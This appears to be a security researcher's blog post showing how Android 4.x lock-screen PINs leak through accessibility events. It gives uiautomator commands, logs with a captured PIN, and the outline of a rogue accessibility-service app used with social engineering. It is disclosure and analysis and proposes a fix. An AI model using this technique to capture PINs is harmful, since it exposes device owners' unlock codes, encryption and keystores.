Blog: Android
Key Sniffing with Android
A few years back I worked with a colleague who was blind. Whilst this has the side effect of showing me that playing with a guide dog in the office is a good way to release stress, it introduced me to the world of accessibility devices and services.
He had a selection of devices that allowed him to do his job: from a braille PDA, to a keyboard with a braille “display” underneath, to screen readers, dedicated watches and reading books through scanners, OCRs and an audio reader.
The idea always occurred to me about how the software and feedback coped with passwords: what gets fed back to the speakers or Braille reader.
uiautomator
Move on a few years and I’m messing around with Android and discover the built in testing command, uiautomator. This was useful whilst I was writing my PIN cracking script, but it was whilst messing around with some of the other arguments I discover a more interesting facility: the “events” parameter.
This parameter simply dumps accessibility events to the current session until the process is killed:
uiautomator events
06-19 10:18:30.769 EventType: TYPE_WINDOW_STATE_CHANGED; EventTime: 51180888; PackageName: android; MovementGranularity: 0; Action: 0 [ ClassName: android.widget.FrameLayout; Text: [0, Enter]; ContentDescription: Dot; ItemCount: -1; CurrentItemIndex: -1; IsEnabled: true; IsPassword: false; IsChecked: false; IsFullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
06-19 10:18:35.014 EventType: TYPE_WINDOW_CONTENT_CHANGED; EventTime: 51185173; PackageName: android; MovementGranularity: 0; Action: 0 [ ClassName: android.widget.FrameLayout; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; IsEnabled: true; IsPassword: false; IsChecked: false; IsFullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
This could be interesting, so let’s see what’s happening when we’re entering the unlock password for the device. So, I set a simple password on the device (“dave”), locked it, started uiautomator and unlocked the device:
06-19 10:22:03.726 EventType: TYPE_WINDOW_STATE_CHANGED; EventTime: 51393846; PackageName: android; MovementGranularity: 0; Action: 0 [ ClassName: android.widget.FrameLayout; Text: [Add widget, Thu, 19 Jun, 10, :22, Thu, June 19, Charged ÔÇö message]; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; IsEnabled: true; IsPassword: false; IsChecked: false; IsFullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
06-19 10:22:04.660 EventType: TYPE_VIEW_TEXT_SELECTION_CHANGED; EventTime: 51394818; PackageName: android; MovementGranularity: 0; Action: 0 [ ClassName: android.widget.EditText; Text: []; ContentDescription: null; ItemCount: 0; CurrentItemIndex: -1; IsEnabled: true; IsPassword: true; IsChecked: false; IsFullScreen: false; Scrollable: false; BeforeText: null; FromIndex: 0; ToIndex: 0; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1;ParcelableData: null ]; recordCount: 0
06-19 10:22:04.798 EventType: TYPE_WINDOW_CONTENT_CHANGED; EventTime: 51394957; PackageName: android; MovementGranularity: 0; Action: 0 [ ClassName: android.widget.FrameLayout; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; IsEnabled: true; IsPassword: false; IsChecked: false; IsFullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
06-19 10:22:06.875 EventType: TYPE_VIEW_CLICKED; EventTime: 51397034; PackageName: android; MovementGranularity: 0; Action: 0 [ ClassName: android.widget.EditText; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; IsEnabled: true; IsPassword: true; IsChecked: false; IsFullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
The bits I’ve highlighted in there are from the Android AccessibilityEvent object, which breaks down into the following bits:
Field | Value | Meaning |
EventType | TYPE_VIEW_CLICKED | This is a tap, or click, on a user interface item. |
Text | empty | This is the text on the item that has been tapped, it’s blank because it’s in a password form |
IsPassword | true | This is a form for a password field |
This is a bit disappointing, the events understand that a UI item can take a password and blank out the event as appropriate.
Oh well, I’m used to disappointment and trying multiple things. Next, let’s set up a PIN and attempt to use this to unlock the device. To cut out the unwanted code I wrote a bit of native code (called sniffkeystrokes) that spawns uiautomator in the background and filters the response to only output the Text section of TYPE_VIEW_CLICKED events.
So, I unlocked the device, set up a PIN, then loaded Chrome as a test to make sure my sniffer was working. Then locked the device and unlocked it:
./sniffkeystrokes
[]
[Chrome]
[1]
[3 DEF]
[3 DEF]
[7 PQRS]
[Enter]
And there we see my PIN sniffed from the command line in cleartext. Like, WTF?!
There are some things to note about this:
- I’m the standard shell user, not root – this is the default user when connecting through adb (USB debugging mode)
- I tried this first on version 4.2.2 (Jelly Bean). This is valid all the way up to, at least, version 4.4.2 (Kit Kat). I haven’t tried it on later versions yet
- This was performed on a device (my Hudl) with a vanilla Android keyguard; your mileage may vary with devices made by manufacturers who alter these (e.g. Samsung, HTC)
Why Does This Happen
So why is this behaviour different? One of the nice things about Android (other than its superior interface and lack of Appleness) is that it is mostly open source, so we can actually go and have a look and see what the differences are.
We can find the source of the screen lock by looking up its component name (keyguard) at android.googlesource.com. Each of the modules are broken out by name and can be read separately . Note, the directory structure of the keyguard source changes for Kit Kat, I’m taking this from Jelly Bean (4.3 to be precise).
We’ll also need to look at the layout files for the screens. These are XML files that describe the UI elements.
First off, we can look at the password interface, in the layout (keyguard_password_view.xml), we can see it’s a simple password entry text field:
android:layout_width=”0dip”
android:layout_height=”wrap_content”
android:layout_weight=”1″
android:gravity=”center_horizontal”
android:layout_gravity=”center_vertical”
android:layout_marginStart=”@dimen/keyguard_lockscreen_pin_margin_left”
android:singleLine=”true”
android:textStyle=”normal”
android:inputType=”textPassword”
android:textSize=”36sp”
android:background=”@null”
android:textAppearance=”?android:attr/textAppearanceMedium”
android:textColor=”#ffffffff”
android:imeOptions=”flagForceAscii|actionDone”
/>
This tells the UI that it should be treated as a password field, as the UI itself handles the keyboard it doesn’t need to worry about anything else.
If we look at the layout for the PIN view (keyguard_pin_view.xml), we see a much different story; in essence the keys are built up with each button being a single entity of the class com.android.keyguard.NumPadKey:
android:id=”@+id/key2″
style=”@style/Widget.Button.NumPadKey”
android:layout_width=”0px”
android:layout_height=”match_parent”
android:layout_weight=”1″
androidprv:textView=”@+id/pinEntry”
androidprv:digit=”2″
/>
We can look at the code for NumPadKey (NumPadKey.java), this shows that the NumPadKey is inherited from Button (so will send accessibility events):
// list of “ABC”, etc per digit, starting with ‘0’
static String sKlondike[];
How to Abuse It
We already know that we can sniff the keystrokes from an adb interface, if somebody is foolish enough to leave USB debugging enabled. A custom executable can be written in about 20 lines of code and can be uploaded over adb in seconds (storing it somewhere like /data/local/tmp). This could allow somebody to prime a phone if the owner has left it for some time (e.g. while going off to get a coffee).
That’s not enough though! Can we do this as an app so that we can grab the PIN of people who haven’t or don’t know how to enable USB debugging?
Yes, although it may not be quite as easy to do as it sounds. First off, we need to understand a bit about how Android apps work. Simply stated apps can have components that can either be:
- An Activity (something that interfaces with the user)
- A Service (something that sits in the background and does stuff)
- A Broadcast Receiver (something that sits in the background and receives messages)
TalkBack
To set up a trap here we need to set up an accessibility service called, because I’m not feeling creative today, Beardiness; to sit in the background and trap messages. The documentation about accessibility services is particularly useless in that special “too much information way”; i.e. the API is fully documented, but there’s nothing to suggest how it ought to be brought together, which made this hard for me as I’m not an Android developer and I’m an old C coder, so can read Java better than I can code it.
So I did what any Proof of Concept merchant does: I steal, from where there’s a minimalist service that just records events to the system log. It just needs one permission:
BIND_ACCESSIBILITY_SERVICE.
I added a simple activity to the code (to “pretend to be a real app”) and then wondered why it still didn’t run. As it’s an accessibility service it needs an extra step to be taken in Settings – Accessibility to turn it on (here’s the default screen, showing the standard TalkBack service). Once you enable it you get a special warning to tell you that it have a security risk for any text field, but notice the words “except passwords.” Not quite true…
So, we get our victim to install our dodgy app and turn it on in the accessibility settings, then we can watch them enter the PIN. As our proof of concept is simply recording it in the system log, we’re going to show it from there, although in a real attack we would either send it to a malicious webserver or store the keystrokes on the SD-card so that we can remove it later at our leisure.
——— beginning of /dev/log/main
——— beginning of /dev/log/system
V/RecorderService( 1825): onServiceConnected
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_CLICKED [class] android.widget.Button [package] android [time] 53815744 [text] 1
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_TEXT_CHANGED [class] android.widget.TextView [package] android [time] 53815748 [text]
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_CLICKED [class] android.widget.Button [package] android [time] 53816388 [text] 3 DEF
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_TEXT_CHANGED [class] android.widget.TextView [package] android [time] 53816392 [text]
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_CLICKED [class] android.widget.Button [package] android [time] 53816684 [text] 3 DEF
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_TEXT_CHANGED [class] android.widget.TextView [package] android [time] 53816688 [text]
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_CLICKED [class] android.widget.Button [package] android [time] 53817142 [text] 7 PQRS
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_TEXT_CHANGED [class] android.widget.TextView [package] android [time] 53817147 [text]
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_VIEW_CLICKED [class] android.widget.ImageButton [package] android [time] 53817746 [text] Enter
V/RecorderService( 1825): onAccessibilityEvent: [type] TYPE_WINDOW_STATE_CHANGED [class] com.android.launcher2.Launcher [package] com.android.launcher [time] 53817980 [text] Home
V/RecorderService( 1825): onAccessibilityEvent: [type] default [class] android.widget.FrameLayout [package] com.android.launcher [time] 53818029 [text]
Conclusions
And there we have an exploit that we can use from either adb or from an app. It’s not perfect as one requires that the user enables debugging mode (and doesn’t use authorisation for it) and the second requires a bit of social engineering, but it could still allow the gathering of the user’s PIN.
Remember that in Android, the PIN doesn’t just allow the unlocking of the device, it also is used as the key for hardware encryption and also for the keystore; potentially allowing us access to these.
The root problem here is that the developers made the classic mistake of rolling their own interface and not thinking about the security aspects. The fix is easy: stop accessibility events from firing from keyguard, or alert the user not to use a PIN to lock their device if they’re using accessibility features.